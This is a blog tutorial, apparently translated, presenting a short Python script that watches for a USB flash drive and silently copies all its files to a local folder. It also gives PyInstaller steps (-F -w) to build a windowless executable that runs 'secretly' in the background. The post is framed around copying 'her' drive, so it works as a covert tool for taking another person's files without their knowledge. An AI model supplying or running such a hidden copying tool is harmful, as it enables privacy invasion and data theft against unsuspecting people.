Can you copy her USB flash drive file with just a few lines of Python code?

Time:2022-5-24

code

# -*- coding:utf-8 -*-
import os
import time
from datetime import datetime
import shutil
 
#Drive letter of USB flash disk
usb_path = "E:/"
#Path to copy to
save_path = "D:/haha"
 
while (True):
    if os.path.exists(usb_path):
        shutil.copytree(usb_path, os.path.join(save_path, datetime.now().strftime("%Y%m%d_%H%M%S")))
        break
    else:
        time.sleep(10)

The above is all the code. There are two places in the code that need to be changed into your own path. I commented in the code

  • usb_ Path is the letter of the USB flash disk. For example, if your computer has disks C and D, the path will be disk e after the USB flash disk is inserted
  • save_ Path is where you want to save the copied file

Package Python files into exe

1. Install the pyinstaller package with PIP on the command line


pip install pyinstaller

2. Download and install the windows extension pywin32 required by pyinstaler runtime

mhammond/pywin32

Select the latest version to download, and pay attention to the corresponding Python version and python bits

Check the python version and number of digits by entering Python on the command line

As shown below is Python 3 6 32-bit, need to download[pywin32-223.win32-py3.6.exe]


Python 3.6.3 ... [MSC v.1900 32 bit (Intel)] on win32

As shown below is Python 3 6 64 bit, need to download[pywin32-223.win-amd64-py3.6.exe]


Python 3.6.3 ... [MSC v.1900 64 bit (AMD64)] on win32

3. Directly enter the following instructions in the command line


pyinstaller [opts] yourprogram.py 

Parameter meaning

-F # specify that only one file in exe format will be generated after packaging (it is recommended to write this parameter)

-D – onedir creates a directory that contains exe files, but relies on many files (the default option)

-C – console, – windowed use console, no interface (default)

-W – windowed, – noconsole use window, no console

-P) add the search path to find the corresponding library.

-I) change the icon icon of the generated program (for example, for the program written for your girlfriend, change a good-looking icon, which is ugly by default)

Example description

For example, you have a python program calledtest.py, the absolute path is[D:\project], packaged into an EXE format file


pyinstaller -F D:\project\test.py

The conditions are the same as above. If you want to run secretly in the process without the black box of the console


pyinstaller -F -w D:\project\test.py

The conditions are the same as above. If you want to change the program icon


pyinstaller -F -w -i D:\project\test.ico D:\project\test.py

Run program

Finally, double-click to open the generated EXE file. You can’t see the interface, but you can find it in the background process of task manager. When a USB flash disk is inserted, it will be automatically copied to the address you set, and then the process will close automatically.

图片

This is about how you can copy her USB flash drive file with just a few lines of Python code? That’s all for the article. For more information about Python code copying USB flash disk files, please search the previous articles of developeppaer or continue to browse the relevant articles below. I hope you can support developeppaer in the future!

Recommended Today

Golang implements HTTP server to provide compressed file download function

Recently, I encountered a need to download static HTML reports. I need to complete the download function in the form of compressed package. In the process of implementation, I found that the relevant documents are very miscellaneous, so I summarize my implementation. Development environment: System environment: MacOS + ChromeFrame: beegoCompression function: Tar + gzipTarget compressed […]